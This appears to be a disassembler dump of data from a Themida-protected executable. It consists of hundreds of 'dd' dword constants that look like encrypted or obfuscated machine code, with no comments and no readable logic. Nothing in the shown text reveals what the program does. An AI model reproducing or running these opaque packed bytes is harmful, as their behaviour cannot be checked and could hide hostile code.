		dd 0BAB13256h, 5DB13256h, 0AEB13254h, 57B63581h, 0ABAB3252h
		dd 0D5B03244h, 0E81F327Bh, 77F63256h, 0B8F63256h, 0D6D7F27Dh
		dd 47E15388h, 57B13246h, 2C77935Eh, 0F6E3EFE2h,	952FEB76h
		dd 0EE1BA71Ah, 8BBE53C0h, 5DB134BFh, 0EAE6E456h, 0D42507Bh
		dd 42D1620Eh, 0D5B1325Ch, 8B7959ECh, 0E8C575D0h, 0A959D144h
		dd 62B13256h, 0F5DB675Ah, 6087E3AEh, 78733FF2h,	0FABF3B46h
		dd 32DF76Ah, 75B1325Bh,	6E96D417h, 1D72402Bh, 0C2AE8C2Fh
		dd 0F74B263h, 0ABB134BFh, 0D1A6A456h, 770210BBh, 7622530Fh
		dd 4D4FC2D7h, 49582670h, 2B13256h, 0CFCA3823h, 0EFE6E4A7h
		dd 6542507Bh, 36FE9C7Fh, 0E8DA88B3h, 162575E8h,	6CBE5339h
		dd 0AEB13ABFh, 928D256h, 0C1E43E69h, 45E9680Dh,	9DC7236Eh
		dd 66B37FB2h, 0EDE8CCBh, 0D4D06771h, 0CEB51612h, 57B134BEh
		dd 0BFD61456h, 0B5B280EBh, 0B2D06A37h, 9CB13256h, 1F2D3D38h
		dd 7E95337h, 0AEB1A20Eh, 57B13256h, 0ABB13256h,	0D5B13256h
		dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h
		dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h
		dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
		dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
		dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
		dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
		dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
		dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h
		dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h
		dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h
		dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
		dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
		dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
		dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
		dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
		dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h
		dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h
		dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B1DA36h
		dd 3BEB3256h, 13F091BCh, 0A234BF50h, 0DEB77FD5h, 0E58FCBD4h
		dd 8433BF50h, 63B77C9Ch, 3B8FCFD4h, 0B3FFDA50h,	26593256h
		dd 69B13256h, 198FDBD4h, 0ABB13250h, 50776056h,	0ECF9153Bh
		dd 0CDE35A00h, 0F4EAEFEh, 5BF913C3h, 2DAFB7DBh,	874E341Dh
		dd 0A6F0B7DFh, 0D1DB341Eh, 0EAA1323Eh, 78F15A56h, 0BADB3255h
		dd 56EBE2A9h, 27824696h, 198FDBD4h, 4633BB50h, 6CB77C68h
		dd 0EAB23F16h, 0B582CADDh, 0D0E398A5h, 4DB15A52h, 0AED93256h
		dd 3DB13252h, 0EA23CD56h, 8FB77A5Bh, 0D58CB0DFh, 0FED03418h
		dd 0F48FDBD3h, 9AD1F150h, 0E69C9BD4h, 17B13250h, 0CA33F556h
		dd 0D5B77A72h, 8BB13246h, 0CF3A5295h, 0BCFF0CBFh, 29B10DD5h
		dd 0BECEB175h, 0D4BA4654h, 0DFB52229h, 0C176B158h, 0AD76D8BDh
		dd 75B13346h, 7D43D956h, 5DB22211h, 475A3256h, 0DCE4F137h
		dd 0AB5952BAh, 8FB13256h, 0A829D8D7h, 0C73A3418h, 0BCFF0D17h
		dd 0D4B977DDh, 0EF33B150h, 53B77C69h, 0AF73FB37h, 0D5595256h
		dd 0B0B13256h, 370DD8D7h, 83A3418h, 5BFF0D6Bh, 91F0806Dh
		dd 6CC53418h, 743A0CDDh, 0D4FE8459h, 6AB075A0h,	0ACB23623h
		dd 639A30BDh, 0D83A7115h, 0A8F91737h, 5240BFDDh, 738A341Eh
		dd 0C8A3B24h, 2C323721h, 4E78D952h, 33B94699h, 15B4C3EBh
		dd 0CF06D950h, 57595295h, 0F1B13256h, 96A5D8D7h, 503A3418h
		dd 73FF0D6Bh, 0BAB032EFh, 0AE710156h, 9333B9FDh, 0DEB77C69h
		dd 0E58E73D4h, 0B5725350h, 0EAB132BEh, 9F306856h, 0BCFF7168h
		dd 7ADCB790h, 0C6E7341Eh, 83AE5F6Fh, 8A2487A9h,	503C341Eh
		dd 0ECFAB148h, 25E3E2A9h, 0BA31323Eh, 0A2B15856h, 0E08FDBE4h
		dd 0F61CD50h, 2BB15A0Ch, 0D5DB3256h, 0D58C80A9h, 0A54E3418h
		dd 31E4F137h, 5D5952BAh, 0F4B13256h, 143DD8D7h,	0DE3A3418h
		dd 0D729DA5Eh, 15E43256h, 3B8FCBC4h, 0CF8A6F50h, 0B55F475Ah
		dd 0AEB130D0h, 5F73FB37h, 473A6756h, 834DF6D5h,	0EA596101h
		dd 2FB13256h, 0F971D8D7h, 283A3418h, 0BECCB95Eh, 60596401h
		dd 0A0B13256h, 5E904696h, 784E67AEh, 73FF0CAFh,	0B6C4090Bh
		dd 0D6D72022h, 5E56B248h, 0B4312CDCh, 0AD2CDAA6h, 15A3256h
		dd 24D4FDFh, 8A4ECC0Bh,	31EF6D0Dh, 9F78CE13h, 25E4325Ah
		dd 0AF75B1BAh, 0F8E06401h, 0D5497791h, 2DB13256h, 3B8E1BD4h
		dd 0BAB13350h, 55C4B956h, 25AFB930h, 198FDBECh,	0A3EEB950h
		dd 0DAC5E95Dh, 0ECC4EC6Dh, 0FCBD6FDDh, 7D323E09h, 3B5BD942h
		dd 55312CDDh, 99353DBEh, 2BB13256h, 51BEDBADh, 0EAB13293h
		dd 7A5AC9D6h, 0BAB18ED2h, 0BF4AB256h, 0AE1DB659h, 0AC313256h
		dd 31353DB5h, 0B3B13256h, 9D6C9D7h, 7529B659h, 5D313256h
		dd 0A63054A6h, 2ABEB259h, 57B132C7h, 2B41D1D6h,	51BE42ADh
		dd 0EAB132D3h, 0F5AFB930h, 4131CAB5h, 0DDF346EEh, 93C53768h
		dd 239C0CD6h, 0C38FB26Eh, 574E0122h, 0ECFF0D7Fh, 0F5AFB930h
		dd 3BD7CAB1h, 2959B3ADh, 0B03A5476h, 3141D5D6h,	6B30C9D7h
		dd 80D12122h, 0D448A0A9h, 0FCEC3418h, 39D0CE13h, 28B0CE2Bh
		dd 70BB935h, 7B77A7Bh, 9498B0DDh, 0E9883418h, 0BAC36A66h
		dd 51D088DDh, 31E1341Eh, 138E1BD4h, 9E8D0B50h, 0BC8C4D0Eh
		dd 53F4F546h, 0D5B13254h, 0AF7635BDh, 75B133AEh, 530BB956h
		dd 0D6B77C68h, 0DA6A3949h, 226F0949h, 0A7ECB959h, 0D5494FD5h
		dd 0B7B23122h, 71EEBBAEh, 51A5F5D5h, 0B47101B4h, 0AEB13296h
		dd 0DCAFB930h, 50313E2Bh, 55BB46BDh, 1131C2B5h,	9EA74626h
		dd 53B6F464h, 5DB07591h, 25B13256h, 5271B191h, 0ABB1A5BFh
		dd 0D2765456h, 0F43B3A59h, 0F5BED1D6h, 0E539B29Dh, 5FF6F557h
		dd 0AEB13256h, 9732F5DDh, 0CDC8D950h, 45210CD7h, 0D4313D22h
		dd 13BF47C6h, 2A4E4CD7h, 0B6B346C6h, 4576B952h,	1233BF09h
		dd 0FBB77C69h, 2823CD00h, 0E1B77C68h, 0FEBB4696h, 0FF03BF9Eh
		dd 0B6B77C69h, 603A6446h, 0AE23CD03h, 0F6B77C68h, 0C46FC7Dh
		dd 12CCB108h, 0C5A14757h, 2D7981Fh, 0F6D7B759h,	0AFF78459h
		dd 0D4AAD9FDh, 0DEB3CA2Bh, 0DE095445h, 8C1A549Fh, 13353DEEh
		dd 0FC073DFDh, 5F5A9957h, 693A96A5h, 8EF6B0Dh, 0ABB9F09Fh
		dd 0B55DB903h, 0EAB132BEh, 9F306856h, 0BCFF7448h, 0D4B977DDh
		dd 0E08FC3D4h, 95785350h, 20E43252h, 2D75B1BAh,	0EAB1DA36h
		dd 0F4EB3256h, 0F4F70DBCh, 0A5F4F550h, 0AEB13256h, 574D7791h
		dd 98B13256h, 0CB3A5496h, 0D598B091h, 75B03418h, 3BD73256h
		dd 2821A2ADh, 464AB256h, 56B9B659h, 2BF13256h, 51BEDBADh
		dd 0EAB132A8h, 9E4AB216h, 0BA45B659h, 0DDF13256h, 2FD7C2B1h
		dd 58313DADh, 0ABB1D7D2h
		dd 0A8333156h, 0AAB77A76h, 7A53C9D6h, 0BAB1FCD2h, 0BE4AB256h
		dd 0AE0DB659h, 0D6D73256h, 0A45255ADh, 0D5B188D2h, 1A52B256h
		dd 7AC1C9D6h, 0BAB187D2h, 433A5456h, 2E49D1D6h,	10C58AADh
		dd 0DFB40CD6h, 0F88FB214h, 0D4310F22h, 3589463Eh, 8598B0A9h
		dd 0D6D73418h, 5656B248h, 0D64AB330h, 0CD9546BEh, 32312CDDh
		dd 113054A6h, 62C5F2D7h, 284E6736h, 5BFF0CAFh, 52F4BB0Bh
		dd 0ABCCB137h, 83343D57h, 5EB13257h, 0A29C9BECh, 0F73A6250h
		dd 0BCFF0D7Fh, 5810E6Fh, 0AFA0B059h, 0ED3A3256h, 0ADF91637h
		dd 0FC33B906h, 0D3B77C69h, 7AE9026Ah, 0BAB1C8D9h, 0B00BB956h
		dd 2DB77C68h, 198FDFD4h, 9C382650h, 85A175DFh, 0D598B0DDh
		dd 693A3418h, 0E5386A66h, 5D64DB5Eh, 0EB763256h, 57B130AEh
		dd 6CB6D956h, 0D5B0CA13h, 503A3256h, 73FF0CBBh,	845CB0D5h
		dd 0D4A53418h, 0BEF6BB61h, 22B2CAD5h, 8233F55Ah, 0D7B77C69h
		dd 1B13256h, 7749B153h,	0C7326D2Bh, 46C532AEh, 0AFF78459h
		dd 57B1B2FFh, 0EBB74756h, 3EB4DAD5h, 0EA4E1F5Eh, 9D323256h
		dd 0E9BAD953h, 6298A8DDh, 0AA3A3418h, 57186965h, 0DE313256h
		dd 56773142h, 68B23796h, 73FF0D7Fh, 0B2F6BB1Eh,	0B6BD75DFh
		dd 8569C500h, 0D469C590h, 29B23796h, 0D3FF0D7Fh, 0E2F6BB1Eh
		dd 9EBD75DFh, 30710168h, 0DD193310h, 68B21323h,	0ECB3F2D5h
		dd 0ABB13257h, 0DCC5E95Dh, 7161A8DCh, 9631341Bh, 33723157h
		dd 1A383A11h, 59A5D95Ah, 574E178Eh, 6D9A3256h, 1532EAA1h
		dd 0E2F6BB54h, 8DBD75DFh, 0EF72FB37h, 9932DEDDh, 0AE5952AAh
		dd 0DB13256h, 0E3E1D8D7h, 6F3A3418h, 0ECFF0CBFh, 4A32FB65h
		dd 78353D56h, 0D6B13256h, 0A2C4CD51h, 7B947A9h,	0ABB041BEh
		dd 56B44156h, 85A2691h,	8A4D77DFh, 0CF4E3E23h, 0B586CD5Eh
		dd 0AEB1330Ah, 5726B059h, 0EE3A3256h, 0DAB60BAAh, 0EAB1BED4h
		dd 89F4CD56h, 0BAB54DD5h, 22323A22h, 0ACC5325Ah, 0A8093CBDh
		dd 124ECDA9h, 0D5B13253h, 295A99A5h, 70A14DD5h,	0C5323D22h
		dd 4CC43446h, 0AAF6B917h, 0BCBD6DDDh, 0AFF6B915h, 3EBD6DDDh
		dd 0EEF6B96Fh, 4EBD6DDDh, 0AFC43A09h, 59E6B904h, 0ADA1677Dh
		dd 83A2603h, 286B195Ah,	3EEB37BDh, 0EEF6B944h, 5EBD6DDDh
		dd 51323609h, 983B3153h, 2DB77A53h, 22B22229h, 729A7357h
		dd 0D4B06EDFh, 154ECDEEh, 75B48BA9h, 11423256h,	0A24E64BFh
		dd 6C7853A9h, 0DCE43246h, 5775B1BAh, 0D5B1DA36h, 6BEB3256h
		dd 3BF809BCh, 530BB950h, 6EB77C68h, 0AE8EB19Fh,	5720B659h
		dd 0AC3A3256h, 2ABD47A9h, 2E13A23h, 75B132DEh, 7D323725h
		dd 0D453D942h, 0DB4ECE13h, 5FC4CD5Ah, 0DA5905A9h, 0A7B13256h
		dd 16F4B93Ch, 16C3356Fh, 394D77A9h, 29B13629h, 0A2CEB15Eh
		dd 0BCB34656h, 544E8A58h, 0D008CDA9h, 19B13256h, 0F67AD9FDh
		dd 0CEB42229h, 4DCEB159h, 0EFA04750h, 0DCB575DDh, 0B65A3E09h
		dd 5EB575DDh, 0F95A3E09h, 0FEB575DDh, 0E59A3E09h, 585AB152h
		dd 0ADA14DD5h, 7CF03323h, 0AAEDBB8Fh, 2A4E8A57h, 0EF08CDA9h
		dd 86B13256h, 0DB36D9FDh, 5DB9F09Fh, 0CE5DB903h, 6CB977DDh
		dd 0A3C33E13h, 0A2A1776Dh, 0E95ACA55h, 14B1D9AFh, 0BABDF09Fh
		dd 0DE5DB903h, 46D1CE92h, 57B13256h, 0BA5BB30Ch, 0E6B77C1Ch
		dd 636A019Fh, 0CF3ACE0Bh, 0BCFF0CBFh, 29B10DD5h, 518EB132h
		dd 90323723h, 2840D942h, 0A1B13629h, 0E6CEB15Eh, 9EB34656h
		dd 46F4CD5Eh, 0B6A5F5D5h, 0BECEB18Dh, 0D4BE4653h, 0DEB72229h
		dd 923A7347h, 0E6EEB952h, 323A2FBDh, 0B6EEB952h, 1A3A21BDh
		dd 0A2EEB952h, 0D4B56D7Dh, 0D43237BDh, 0D4C43146h, 63681917h
		dd 0CDB0330Ah, 454ECDA9h, 5DB137EFh, 451AC156h,	123A53C1h
		dd 0FB72FBAAh, 0D5596107h, 0B0B13256h, 3F2DD8D7h, 203C3418h
		dd 5BFF0D57h, 0AEB156EEh, 5763DA56h, 0A03A3256h, 0C15AF36Dh
		dd 0D1B57955h, 76A64097h, 7B8A221Dh, 5F5A3024h,	0BC5A26BDh
		dd 9B6BA8DBh, 784E3418h, 4F3C3ABDh, 0ECFFE256h,	2CEAE1A9h
		dd 31E4F10Eh, 5DB1DABAh, 2FEB3256h, 19FBD9BCh, 113C5250h
		dd 0D3FF0D57h, 63B977DDh, 79F4B951h, 31B575DFh,	1A382213h
		dd 0BAF4B95Ah, 36A175DFh, 0ABA1F09Fh, 0B834F436h, 0ADB77A71h
		dd 62C2283Eh, 2F04CDFEh, 0D0B77A77h, 0E5322CD3h, 561CD50h
		dd 949CB8DBh, 2AE03418h, 683C6886h, 73FF0D7Bh, 0B6F18559h
		dd 52E3EADDh, 6DB26867h, 72ACB0DFh, 0C3D0341Eh,	0E85251h
		dd 5A000000h, 4B5CEA81h, 8B52064Eh, 48251D82h, 4E6DB906h
		dd 0E1F741C6h, 3039055Ah, 0FF250000h, 897FFFFFh, 48251D82h
		dd 0C3595A06h
dword_5A18F4	dd 0E85251h, 5A000000h,	4B8CEA81h, 0C88B064Eh, 0FFFFBBE8h
					; DATA XREF: Themida_:0053E74Co
		dd 0F7D233FFh, 5AC28BF1h, 0C08BC359h, 858DC08Bh, 64E419Dh
		dd 8B66D0FFh, 55858DC1h, 89064E4Bh, 4813CD85h, 85858D06h
		dd 89064E4Bh, 4819DD85h, 0B806h, 0C00B0000h, 47840Fh, 85C60000h
		dd 648276Dh, 30DF6856h,	0B5FFA9C5h, 6482195h, 831E858Dh
		dd 0D0FF064Bh, 818D8D50h, 5106482Eh, 68046Ah, 0FF000010h
		dd 4809A9B5h, 8BD0FF06h, 4809A9BDh, 3C7F0306h, 0F8C781h
		dd 47C70000h, 2024h, 759D8D60h,	8B06481Ah, 0FC00B03h, 584h
		dd 89008B00h, 0F6B90443h, 8D00234Ch, 4E4D088Dh,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 9D8B3C85h, 6480D3Dh,	0A198D89h, 6A0648h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 6640D2C3h
		dd 0C281D78Bh, 2314F2E6h, 0F3585C7h, 71480648h,	6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 85C783C3h, 6482425h,	0
		dd 5B5FFF8h, 0E906480Dh, 0Dh, 83DA0F1Eh, 94B9DD3Ah, 252D904h
		dd 0BD95FF8Ch, 6A064820h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0CBF5C353h,	958B45ABh
		dd 6483065h, 95FF006Ah,	6483061h, 3AEBC08Bh, 5FA29D7Ch
		dd 0D9BBBD30h, 9FC3869Fh, 7C6AE5C0h, 0E3E08104h, 0E624A622h
		dd 4B97E92Dh, 5DF7FBCh,	68672E19h, 0AA4FC60Bh, 0EC51BDF6h
		dd 2BAFAAEEh, 0CB71D67Bh, 3C5372D7h, 8D8D7574h,	64E4E14h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 54C35343h
		dd 0CAD6A24Ah, 366CE3AAh, 0AE85050h, 6D000000h,	0ED84467Fh
		dd 5DA15F59h, 5F5A5F5Dh, 8D89C38Bh, 6480A19h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 69C35141h, 0F57E0572h
		dd 1E759D89h, 0BD8B0648h, 6482C71h, 0F3585C7h, 65F40648h
		dd 0B5890000h, 6482031h, 242585C7h, 648h, 0DE90000h, 1000000h
		dd 0EB93C8D2h, 4C69C26Ah, 0C3F1DCA0h, 1BEDB5FFh, 14E90648h
		dd 8F000000h, 74FD90E2h, 613F2D74h, 0E77E67D4h,	0C2A84729h
		dd 0FF6093AFh, 4820BD95h, 2AC08006h, 95FF006Ah,	6483061h
		dd 1FEBC08Bh, 77DFFD3h,	0E2028057h, 6F336E05h, 156FFCC2h
		dd 0D6806B0Fh, 37716A58h, 424733C6h, 0E863FC16h, 7, 2B42BAAh
		dd 0F4A0F0Eh, 68Dh, 0F5B58900h,	5B064820h, 1A01852Bh, 0C3810648h
		dd 5978h, 0B758D29h, 35680648h,	60000016h, 68A0Fh, 0BD890000h
		dd 6480615h, 6800Fh, 0B5030000h, 6481F25h, 94B85A61h, 0FF4FA083h
		dd 0CBBF6633h, 81FC5E5Fh, 166DEFEEh, 0B9858B64h, 81064824h
		dd 58523F6h, 94C68140h,	0F4CC556h, 3389C9B7h, 81C9BF0Fh
		dd 95DCC7EBh, 8E944h, 5E800000h, 4709E2DEh, 0C3813F48h
		dd 4495DCC3h, 0BE9h, 20698E00h,	11A38CC1h, 487115B1h, 0F01EA83h
		dd 0FFFFA685h
dword_5A1C50	dd 0CF8B66FFh, 545B08EBh, 5975h, 47E90000h, 6800000Bh
					; DATA XREF: Themida_:005511CCo
		dd 64E50A0h, 0FAF837E9h, 519968FFh, 2DE9064Eh, 68FFFAF8h
		dd 64E535Eh, 0FAF823E9h, 544168FFh, 19E9064Eh, 68FFFAF8h
		dd 64E55D1h, 0FAF80FE9h, 57C068FFh, 5E9064Eh, 68FFFAF8h
		dd 64E58ABh, 0FAF7FBE9h, 0B6D3E8FFh, 3D546B6Dh,	0ABE6F602h
		dd 39506878h, 0ADE4FA06h, 27E8D472h, 0B749FA97h, 1B1D6623h
		dd 8898CBBEh, 16235C35h, 68CAC695h, 0D929AB8h, 0D6BB2231h
		dd 7E13AA32h, 0CCBD1B8Dh, 1C01F538h, 0A858B42Bh, 6A5E688Ch
		dd 0DF57C90h, 0C262511Ah, 0E1ECAFBDh, 0CE8DC243h, 3A3518EDh
		dd 1E6E5BBFh, 5DA74E39h, 0EB9DE72Fh, 286177CDh,	38CC919Ch
		dd 292B01F5h, 259BA7D2h, 45h, 58E31F9h,	0A106B7ABh, 14DF4873h
		dd 0A106B7FCh, 6D9D79C4h, 5E2D1EE6h, 0AFBE54EDh, 37B05477h
		dd 0E5050BD8h, 82CDA74Eh, 0E4E12B98h, 0EC20A74Eh, 7BED6222h
		dd 2512B70h, 9F7DB7A3h,	9B9BA92Dh, 0E8h, 0D6BB2253h, 7247B932h
		dd 0DEA3E6D2h, 0B7929E6Dh, 0F75AA106h, 860BD303h, 0CEC31A62h
		dd 0C493E25Dh, 8FE4FCEFh, 3B1F622Fh, 32C15E97h,	0A105EFDEh
		dd 9A9665A6h, 62A105EFh, 0A838225Fh, 18C37C15h,	0A105F71Eh
		dd 0E8740FAEh, 385965EEh, 501988F7h, 0F7C6520Dh, 131A8E9Ah
		dd 0F5C838B3h, 78939D66h, 0F05BA106h, 7A0FAB2Dh, 57945FA0h
		dd 0E1AFBE13h, 0B8AFA5DEh, 8831DF48h, 0BD81501h, 0B601B12Dh
		dd 0C098CF08h, 90BA5CA2h, 991EAD03h, 174A75ADh,	9B8CAF23h
		dd 7FC0D1EDh, 0F5345D81h, 0FC5566CDh, 0EFB31ECEh, 82000008h
		dd 0F1EF3059h, 8080C3CEh, 0EEEA355Ch, 7484BFCAh, 4A5C276Ah
		dd 0D4BD21EEh, 5C2D8D8Bh, 0C5C41523h, 325F7E7Ah, 48FF0F1h
		dd 9AB867ACh, 22172774h, 8E8AD5BCh, 0CCBD1D2Fh,	0D3EA9691h
		dd 0ABD35CBEh, 5CCF373Eh, 0BE541C8Fh, 8D9BA6AFh, 4EE3CCE0h
		dd 75810BA7h, 0A880C856h, 0E1C49Bh, 319A0000h, 0B7AB058Eh
		dd 4873A106h, 0B6DB02EEh, 96FBC335h, 0BED3EA72h, 5A272Ah
		dd 5F328CDCh, 0BF1224C9h, 0FFB1A106h, 171AAEDBh, 0BD494714h
		dd 0AE11A106h, 50419C4Ch, 0FB9629D7h, 0AF78E2EDh, 62BB0740h
		dd 0ADC22317h, 51409D49h, 2DF061D6h, 0C3CBB9D6h, 0DBE9A039h
		dd 326666D0h, 0E760CB3Bh, 71F3E597h, 26C733D4h,	0BE5F2E5Dh
		dd 6A50B8AFh, 0D68BFEDAh, 8DA3397Dh, 36EB1FE9h,	0C00007EDh
		dd 9CCDBC47h, 0E853B602h, 642D91FFh, 0D0C11D1Bh, 545B7399h
		dd 0DB074FCh, 7F6h, 0C573289h, 0A5DEB30Ch, 17484993h, 0A9DAAF09h
		dd 194A4797h, 0F8C64375h, 805AE699h, 0EFCA5609h, 8657E99Ah
		dd 66C9580Bh, 0B866939Dh, 70CE5B9Ah, 52D5BC22h,	4F7514A6h
		dd 0B345EA4Ch, 34E4672Ah, 0FE41E7AAh, 226B131Ch, 0A355D6BBh
		dd 3AFA671Ch, 5F8FFD4h,	6EFEDE38h, 1B01424Fh, 0B03BAC14h
		dd 0AFBDF097h, 48481374h, 10A74E01h, 0A4EC77h, 616CA74Eh
		dd 0A7AA3A1Ch, 0ADE4F981h, 0A1F0CE3Ah, 59DE3883h, 8D9BF6C7h
		dd 4C3D9C0Ch, 10010DBh,	85C8A74Eh, 0A6432891h, 0FCF83503h
		dd 573A83F2h, 9BB10C0Ch, 15164B3Eh, 0DD83A99Ah,	0F51F9767h
		dd 88145FBFh, 0ECF04A0Bh, 94892C7Fh, 727CF82Eh,	8CD7BA03h
		dd 0C460318Ch, 0B843E443h, 2E948878h, 0D2DEFD40h, 9A2E9488h
		dd 0B1F6C337h, 862E9488h, 6875000Eh, 0D3EAF629h, 0C124DBEh
		dd 0B7ECC82Dh, 54C004F6h, 0BE87D7DDh, 9C6434C3h, 0CE9D66E1h
		dd 983D4C61h, 30AEA35h,	0B8BB48C3h, 8243946Ah, 0E744A93Fh
		dd 283B2498h, 0A3B11AE4h, 9F2F7E31h, 3BCh, 5E7F317Fh, 45F6C733h
		dd 0E35E83BCh, 56658C78h, 0A91910E4h, 0FE12E13Eh, 0C6A10633h
		dd 337AB645h, 0FF42A106h, 4C17D842h, 0AFBDCDABh, 0BF604A75h
		dd 31256C51h, 3D8DC488h, 0C8F19F27h, 201823C1h,	0F639CFBAh
		dd 8979F004h, 0CF8AD59Eh, 0A9143714h, 8E2EDA1Bh, 99DAE503h
		dd 0FA9CC222h, 0EFE5884h, 2A5F7A07h, 3684F4F7h,	9325B553h
		dd 92CFD2F6h, 0FB5F328Ah, 967571FAh, 79013D57h,	53E62960h
		dd 37DF2F08h, 85F3F429h, 42EE5938h, 0CDD0F49Dh,	0A934C469h
		dd 0CB1541E8h, 0CE5E74FEh, 63123h, 92F7C400h, 21704FD1h
		dd 97FAE25Eh, 1D6C4CCCh, 8908D662h, 8384B8D6h, 0B0D563Bh
		dd 97A9DAAFh, 0FCFC4742h, 726FB0E1h, 652E8211h,	0A9F69AB8h
		dd 9FB63195h, 0E828B339h, 0B0A105BBh, 873BC28Dh, 0CA41B1A5h
		dd 658211FAh, 2FAFBE60h, 9665F6C7h, 0A74E709Ah,	5F225F62h
		dd 0F59C41C9h, 828CE8CFh, 562AA502h, 44098A87h,	0D2DC34CBh
		dd 99A4A74Dh, 0FEC64DBDh, 0CD697E0Dh, 833B605h,	4C711Fh
		dd 914B0D9h, 0BB3DE254h, 11596F22h, 543DA0ACh, 14B06DB0h
		dd 0D99C6AC2h, 9CD28D04h, 0A1EF7ABAh, 277B6h, 373E7800h
		dd 6A8F5CCFh, 30AFB468h, 506E1A0Dh, 0DC02FE41h,	39D60FB5h
		dd 550666AAh, 19232EA7h, 0F23DCBC6h, 672BB08h, 0A13CA755h
		dd 0F9979DE2h, 0D50CD8Ch, 993B425Ch, 2C8F5502h,	54Eh, 0D48FFAE1h
		dd 4D167B44h, 0DFA0F1CBh, 51127761h, 0E1A2EFCFh, 409E6BCDh
		dd 0A8120E51h, 37A29EE1h, 0AE0F1152h, 1EA1A0E3h, 0B8643B55h
		dd 0C896039Ah, 358A373Eh, 8926215Ch, 70CAC717h,	0B4693663h
		dd 33D1FCAFh, 0AC771AA3h, 10FDC3Bh, 0CDA75507h,	45889CEDh
		dd 3EAA8CAFh, 86D6F29Fh, 3ECE5A37h, 84D4F0A1h, 7CAF5534h
		dd 0A2348690h, 8405D345h, 1F95D60h, 0BE218FF5h,	667767D3h
		dd 6850C02Bh, 40B80321h, 0CAD5F39Eh, 0D848C770h, 317C8801h
		dd 74CB08DEh, 46B039F2h, 0AED56EF0h, 1966A9Bh, 22440000h
		dd 0BDD3A0BBh, 89A106B7h, 70DB5930h, 0EECF17ADh, 58519E95h
		dd 33EEDEE4h, 0BD050CF0h, 0E092C14Ah, 7B1CAFBDh, 5E414F1Ch
		dd 0C609A74Eh, 4E5E1719h, 0A1DCDFA7h, 5DD6D683h, 7715A74Eh
		dd 0F6FA5C6Fh, 3EEA9BA7h, 0F308F29Fh, 3Dh, 9C6EDB54h, 0F4EBEE58h
		dd 0FB5D4E4h, 3E242A0Ch, 8F5CCF37h, 0AFBE541Ch,	0C8D9BA6h
		dd 0E650419Ch, 4EE3CFDDh, 16790EA7h, 4EE4434Dh,	56C00BA7h
		dd 997B509Eh, 959BA880h, 0B3h, 0D6BB2249h, 7D14AA32h, 647D558Ah
		dd 0C7F1FD79h, 6011246Ch, 78E2A6E8h, 0D8B90454h, 7021BC4Ch
		dd 0DEB30977h, 0C434B37Ch, 14BD99F8h, 0A105FD02h, 0E5662B92h
		dd 0FA77B942h, 0EE3FA105h, 0EB3B197Fh, 3E186569h, 0B40C03F9h
		dd 83BA833h, 7AC5AFB9h,	0D2BF1F91h, 622F8F91h, 9DEDFF2Bh
		dd 7DE08402h, 3BEh, 641F6A51h, 0BD860BD4h, 2FF0A13Bh, 0C18207B1h
		dd 31F29F3Fh, 0D0EE1B1Dh, 58827EC1h, 0C7F2EE31h, 5E7F81C2h
		dd 8EF1F033h, 0B862AB05h, 1826739Ah, 345D7F31h,	318B8D90h
		dd 0D4EAF660h, 677682BDh, 0C1ABD8E5h, 708605DAh, 0AAF5134Eh
		dd 2292AC77h, 0AA32D6BBh, 2A8D7E13h, 0B7B2FE8Dh, 577AA106h
		dd 6B768A8h, 0CD730A1h,	0A106B804h, 5ABC81CCh, 0D3E85FD5h
		dd 4FB8850Ch, 0BEA8A7C4h, 0BA4E71AFh, 4EC6F515h, 9F67C3A7h
		dd 0A08B7BF2h, 147BBA27h, 0A098135Ah, 76B94F3Ah, 0D3986384h
		dd 9DB60782h, 92FEF132h, 4EF86227h, 2B91BB22h, 0B84D6330h
		dd 0AA15A106h, 134E5177h, 3A576818h, 13B7A3AEh,	0CC97FAC3h
		dd 8110AD5Bh, 9C286177h, 0DE55A591h, 0BD9665E6h, 5AAFBE5Ah
		dd 98820FAEh, 0F838C344h, 0D3A74ED8h, 4ED90808h, 676DD0A7h
		dd 30D4BD1Fh, 0D7ED30EDh, 0C7CAF29Eh, 0D9266653h, 2765A74Eh
		dd 716AECDFh, 4A669BA8h, 0F1000000h, 0D06BC54Eh
		dd 833A74Eh, 373E282Eh,	1C8F5CCFh, 0B9AFBE54h, 75B3497Eh
		dd 0E0ABCD23h, 0A74ECBD0h, 0EE83598h, 0E85573DEh, 0A74ECBA4h
		dd 0E9F4A4E3h, 16111CA8h, 4ECC434Dh, 56C00BA7h,	997B509Eh
		dd 959BA868h, 0D4h, 0D6BB2249h,	0E729B255h, 0C2A106B7h
		dd 6B7F739h, 787CBFA1h,	40E4AD10h, 0F6D640FDh, 0AB395866h
		dd 0F90F825Bh, 139A4780h, 844A3EB4h, 48B8F883h,	3D80A106h
